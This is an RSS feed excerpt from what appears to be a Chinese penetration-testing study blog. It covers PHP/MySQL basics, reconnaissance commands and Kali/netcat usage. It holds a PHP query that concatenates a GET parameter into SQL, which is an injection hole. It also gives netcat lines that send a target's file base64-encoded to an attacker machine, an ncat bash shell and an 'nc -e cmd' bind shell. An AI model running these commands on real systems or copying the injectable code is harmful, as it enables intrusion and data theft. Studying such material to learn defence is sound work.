&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;connect_error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;die&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;连接失败&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;connect_error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 数据库查询语句
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$userinput&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;num&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;//准备一条数据库语句
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$sql&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;select * from db1 where id &amp;lt;= &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$userinput&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// 这里相当于把查询指令赋值给$sql
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 执行sql语句并返回给变量
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$result&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;query&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$sql&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 判断result里是否有东西
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$result&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;num_rows&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;){&lt;/span&gt;	&lt;span class=&#34;c1&#34;&gt;// $result-&amp;gt;num_rows获取结果集中的行数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;// 输出数据====================================================================
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;table border=&amp;#39;1&amp;#39;&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;id&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;uid&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;job&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$row&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$result&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;fetch_assoc&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()){&lt;/span&gt;	&lt;span class=&#34;c1&#34;&gt;// 每次从结果集中读取一行数据，并以关联数组形式返回
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;tr&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;td&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$row&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;/td&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;td&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$row&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;uid&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;/td&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;td&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$row&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;job&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;/td&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;/tr&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;/table&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;	&lt;span class=&#34;c1&#34;&gt;//=======================================================================
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;无结果&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;	&lt;span class=&#34;c1&#34;&gt;// 关闭数据库
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;&amp;lt;/body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;&amp;lt;/html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;分割线之间及代码头尾处有改动，分割线见主要实现了数据放置在表格中&lt;/p&gt;
&lt;h2 id=&#34;命令行连接数据库&#34;&gt;命令行连接数据库
&lt;/h2&gt;&lt;p&gt;打开&lt;code&gt;C:\phpstudy_pro\Extensions\MySQL5.7.26\bin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在此处启动CMD&lt;/p&gt;
&lt;p&gt;下面是一些常用命令：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mysql -uroot -proot&lt;/code&gt;		登录数据库&lt;/p&gt;
&lt;p&gt;&lt;code&gt;show databases;&lt;/code&gt;			查看所有的库名&lt;/p&gt;
&lt;p&gt;&lt;code&gt;use xxx&lt;/code&gt;				使用(定位)xxx这个库名&lt;/p&gt;
&lt;p&gt;&lt;code&gt;show tables;&lt;/code&gt;			查看库中有什么表&lt;/p&gt;
&lt;p&gt;&lt;code&gt;select * from xxx&lt;/code&gt;		查看xxx这张表里的所有数据&lt;/p&gt;
&lt;p&gt;此外所有php里的sql语句都可以在命令行之间使用&lt;/p&gt;
</description>
        </item>
        <item>
        <title>1.3 信息搜集工具的使用</title>
        <link>https://www.retr0.xyz/p/1.3-%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86%E5%B7%A5%E5%85%B7%E7%9A%84%E4%BD%BF%E7%94%A8/</link>
        <pubDate>Tue, 25 Nov 2025 10:56:43 +0800</pubDate>
        
        <guid>https://www.retr0.xyz/p/1.3-%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86%E5%B7%A5%E5%85%B7%E7%9A%84%E4%BD%BF%E7%94%A8/</guid>
        <description>&lt;h2 id=&#34;信息搜集&#34;&gt;信息搜集
&lt;/h2&gt;&lt;h3 id=&#34;本地信息搜集windows-命令&#34;&gt;本地信息搜集(Windows 命令)
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;whoami&lt;/code&gt;			查看自己身份&lt;/p&gt;
&lt;p&gt;&lt;code&gt;whoami /all&lt;/code&gt;	获取当前域的信息&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ipconfig&lt;/code&gt;		获取ip地址信息&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ipconfig /all&lt;/code&gt;	获取详细的ip地址信息&lt;/p&gt;
&lt;p&gt;查询结果：[所在域-计算机名-账户名]&lt;/p&gt;
&lt;p&gt;&lt;code&gt;arp -a&lt;/code&gt;			查询arp表&lt;/p&gt;
&lt;p&gt;&lt;code&gt;echo %PROCESSOR_ARCHITECTURE% &lt;/code&gt;	查看CPU架构&lt;/p&gt;
&lt;p&gt;&lt;code&gt;systeminfo&lt;/code&gt;		查看操作系统信息&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wmic product&lt;/code&gt;	查看安装的软件&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wmic product get name,version&lt;/code&gt;	查看安装的软件和版本信息&lt;/p&gt;
&lt;p&gt;&lt;code&gt;net user&lt;/code&gt;		查看本地用户&lt;/p&gt;
&lt;p&gt;&lt;code&gt;net session&lt;/code&gt;	查看本地和远程的会话&lt;/p&gt;
&lt;p&gt;&lt;code&gt;net view&lt;/code&gt;		查看内网的共享情况&lt;/p&gt;
&lt;p&gt;&lt;code&gt;net share&lt;/code&gt;		查看自己共享了哪些东西&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;远程信息搜集kali-命令&#34;&gt;远程信息搜集(Kali 命令)
&lt;/h3&gt;&lt;blockquote&gt;
&lt;p&gt;什么样的服务器有入侵价值？&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;有有价值的网站&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;seo.chinaz.com  查看seo信息，权重，ip访问量&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;上面有庞大数据库的服务器&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mssql mysql oracle redis&amp;hellip;&lt;/p&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;性能优秀的服务器&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;高性能CPU，显卡，硬盘&lt;/p&gt;
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;保有某些单位机密的服务器&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;nping --tcp -p 80 --flag syn 2 [目标ip]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;测试对方端口是否开放&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nc -nvz [目标ip] 1-65535&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;使用nc查看对方端口是否开放&lt;/p&gt;
&lt;p&gt;&lt;code&gt;netdiscover -i [网卡名称] -r 192.168.x.0/24&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;搜集内网用户的信息&lt;/p&gt;
&lt;p&gt;&lt;code&gt;arping [参数] [目标]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;使用arp扫描&lt;/p&gt;
&lt;p&gt;-i 指定网卡&lt;/p&gt;
&lt;p&gt;-c 发包数量&lt;/p&gt;
&lt;p&gt;-s 源mac&lt;/p&gt;
&lt;p&gt;-S 源ip&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nbtscan&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;使用 netbios 协议进行信息搜集（Windows之间使用）&lt;/p&gt;
&lt;p&gt;通过计算机名解析对应ip&lt;/p&gt;
&lt;p&gt;&lt;code&gt;whatweb [网址]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;初步分析网站结构&lt;/p&gt;
&lt;h2 id=&#34;nc用法追加&#34;&gt;nc用法追加
&lt;/h2&gt;&lt;h4 id=&#34;文件传输常规&#34;&gt;文件传输（常规）
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;先启动发送&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;发送端：&lt;code&gt;nc -l -p [端口号] &amp;lt;文件&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;接收端：&lt;code&gt;nc [发送端ip] [端口号] &amp;gt;文件&lt;/code&gt;&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;先启动接收&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;接收端：&lt;code&gt;nc -l -p [端口号] &amp;gt;文件&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;发送端：&lt;code&gt;nc [发送端ip] [端口号] &amp;lt;文件&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;文本传输加密&#34;&gt;文本传输（加密）
&lt;/h4&gt;&lt;p&gt;目标机：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cat [目标文件] | base64 | nc -nv [入侵机ip] [端口号] -q 1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;入侵机：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nc -l -p [端口号] &amp;gt;文件&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;文件传输两台都是linux且有一方没有nc&#34;&gt;文件传输（两台都是Linux且有一方没有nc）
&lt;/h4&gt;&lt;p&gt;目标机：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;whois -h [入侵机ip] -p [端口号] &lt;/code&gt;cat [文件] | base64``&lt;/p&gt;
&lt;p&gt;入侵机：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nc -l -v- p [端口号] | sed &amp;quot;s/ //g&amp;quot; | base64 -d&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;加密通信两台都是linux&#34;&gt;加密通信（两台都是Linux）
&lt;/h4&gt;&lt;p&gt;使用&lt;strong&gt;ncat&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;目标机：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ncat -c bash --all [入侵IP] -vnl [port] --ssl&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;入侵机：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ncats -nv [目标IP] [port] --ssl&lt;/code&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>1.2 kali基础知识和指令及几个小工具</title>
        <link>https://www.retr0.xyz/p/1.2-kali%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E5%92%8C%E6%8C%87%E4%BB%A4%E5%8F%8A%E5%87%A0%E4%B8%AA%E5%B0%8F%E5%B7%A5%E5%85%B7/</link>
        <pubDate>Sun, 23 Nov 2025 22:19:56 +0800</pubDate>
        
        <guid>https://www.retr0.xyz/p/1.2-kali%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E5%92%8C%E6%8C%87%E4%BB%A4%E5%8F%8A%E5%87%A0%E4%B8%AA%E5%B0%8F%E5%B7%A5%E5%85%B7/</guid>
        <description>&lt;h1 id=&#34;知识和指令&#34;&gt;知识和指令
&lt;/h1&gt;&lt;h2 id=&#34;基础知识&#34;&gt;基础知识
&lt;/h2&gt;&lt;h3 id=&#34;文件属性&#34;&gt;文件属性
&lt;/h3&gt;&lt;p&gt;示例：&lt;code&gt;d r-x(A) r-x(B) r-x(C) 13 root(D) root(E) 0 Nov 3 11:22 1.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;括号部分仅作讲解用，实际上不存在&lt;/p&gt;
&lt;p&gt;A=所有者权限&lt;/p&gt;
&lt;p&gt;B=所有者所在的组的权限&lt;/p&gt;
&lt;p&gt;C=其他人权限&lt;/p&gt;
&lt;p&gt;D=文件的所有人&lt;/p&gt;
&lt;p&gt;E=D所在的组&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;类型：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;d&lt;/code&gt;文件夹&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-&lt;/code&gt;文件&lt;/p&gt;
&lt;p&gt;&lt;code&gt;l&lt;/code&gt;链接&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;权限：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;r=read=4  w=write=2  x=execute=1&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;权限编号的计算使用加法，例如：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;权限代码&lt;/th&gt;
          &lt;th&gt;编号&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;r-x&lt;/td&gt;
          &lt;td&gt;5&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;-rw&lt;/td&gt;
          &lt;td&gt;6&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&amp;ndash;r&lt;/td&gt;
          &lt;td&gt;4&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;修改文件权限：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chmod [权限编号] [目标文件]&lt;/code&gt;	修改文件权限&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chmod [权限编号] -R [文件夹]&lt;/code&gt;	把文件夹和文件内所有东西都赋值为75&lt;/p&gt;
&lt;p&gt;示例：&lt;code&gt;chmod 755 1.txt&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;系统操作&#34;&gt;系统操作
&lt;/h3&gt;&lt;h4 id=&#34;防火墙&#34;&gt;防火墙
&lt;/h4&gt;&lt;p&gt;&lt;code&gt;chkconfig iptables on/off&lt;/code&gt;	打开/关闭防火墙&lt;/p&gt;
&lt;h4 id=&#34;apt命令&#34;&gt;apt命令
&lt;/h4&gt;&lt;p&gt;软件安装&lt;code&gt;apt-get install xxx&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;基础指令&#34;&gt;基础指令：
&lt;/h2&gt;&lt;h3 id=&#34;系统指令&#34;&gt;系统指令：
&lt;/h3&gt;&lt;h4 id=&#34;系统相关&#34;&gt;系统相关
&lt;/h4&gt;&lt;p&gt;&lt;code&gt;passwd&lt;/code&gt;			修改当前用户密码&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ifconfig&lt;/code&gt;		查看ip&lt;/p&gt;
&lt;p&gt;&lt;code&gt;whoami&lt;/code&gt;			查看自己是谁（账户）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;clear&lt;/code&gt;			清空当前终端&lt;/p&gt;
&lt;p&gt;&lt;code&gt;uname&lt;/code&gt;			查看操作系统&lt;/p&gt;
&lt;p&gt;&lt;code&gt;uname -a&lt;/code&gt;		查看详细版本号&lt;/p&gt;
&lt;h4 id=&#34;文件相关&#34;&gt;文件相关
&lt;/h4&gt;&lt;p&gt;&lt;code&gt;ls&lt;/code&gt;				查看当前目录所有文件和文件夹&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ls -la&lt;/code&gt;			查看详细信息（文件属性）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mkdir&lt;/code&gt;			创建目录&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cd&lt;/code&gt;				转到指定目录&lt;/p&gt;
&lt;p&gt;&lt;code&gt;touch&lt;/code&gt;			创建文件&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cat&lt;/code&gt;			查看文件&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chmod&lt;/code&gt;			修改文件权限&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cp [被复制的文件] [复制到（包括文件名）]&lt;/code&gt;	复制文件&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mv [被剪切的文件] [粘贴到（包括文件名）]&lt;/code&gt;	剪切文件（也可用于修改文件名）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rm [目标]&lt;/code&gt;		删除&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rm -rf [目标]&lt;/code&gt;	全部强制删除&lt;/p&gt;
&lt;p&gt;&lt;code&gt;find [要在哪个地方查找] -name [查找的文件名]&lt;/code&gt;	查找文件&lt;/p&gt;
&lt;p&gt;&lt;code&gt;echo xxx&lt;/code&gt;		回响（单独使用是复读机）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;echo xxx &amp;gt; 1.txt&lt;/code&gt;	创建名为1.txt的文件并写入xxx（有覆盖效果）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;echo xxx &amp;gt;&amp;gt; 1.txt&lt;/code&gt;	向1.txt中追加xxx&lt;/p&gt;
&lt;h4 id=&#34;查看进程&#34;&gt;查看进程
&lt;/h4&gt;&lt;p&gt;&lt;code&gt;ps&lt;/code&gt;					查看进程&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ps -ef&lt;/code&gt;				查看全部进程&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ps -ef | grep xxx&lt;/code&gt;	查看进程名字包含xxx关键词的进程&lt;/p&gt;
&lt;p&gt;&lt;code&gt;top&lt;/code&gt;			查看进程（打开性能监视器）&lt;/p&gt;
&lt;h3 id=&#34;软件指令&#34;&gt;软件指令：
&lt;/h3&gt;&lt;h4 id=&#34;编辑器类&#34;&gt;编辑器类：
&lt;/h4&gt;&lt;p&gt;&lt;code&gt;nano&lt;/code&gt;			用nano打开文件&lt;/p&gt;
&lt;p&gt;&lt;code&gt;vim&lt;/code&gt;			用vim打开文件&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;几个小工具&#34;&gt;几个小工具
&lt;/h1&gt;&lt;h2 id=&#34;nc的使用&#34;&gt;nc的使用
&lt;/h2&gt;&lt;h3 id=&#34;基础连接&#34;&gt;基础连接
&lt;/h3&gt;&lt;p&gt;服务端(被控)：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nc -l -p [端口号]&lt;/code&gt;			监听指定端口&lt;/p&gt;
&lt;p&gt;客户端(控制)：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nc -nv [服务端ip] [端口号]&lt;/code&gt;	连接服务端&lt;/p&gt;
&lt;h3 id=&#34;远程控制&#34;&gt;远程控制
&lt;/h3&gt;&lt;h4 id=&#34;正向控制&#34;&gt;正向控制
&lt;/h4&gt;&lt;p&gt;入侵者每次主动连接目标&lt;/p&gt;
&lt;p&gt;目标(被控)：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nc -lp [端口号] -e cmd&lt;/code&gt;		指客户端连接后为其打开cmd&lt;/p&gt;
&lt;p&gt;入侵：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nc -nv [服务端ip] [端口号]&lt;/code&gt;	连接目标&lt;/p&gt;
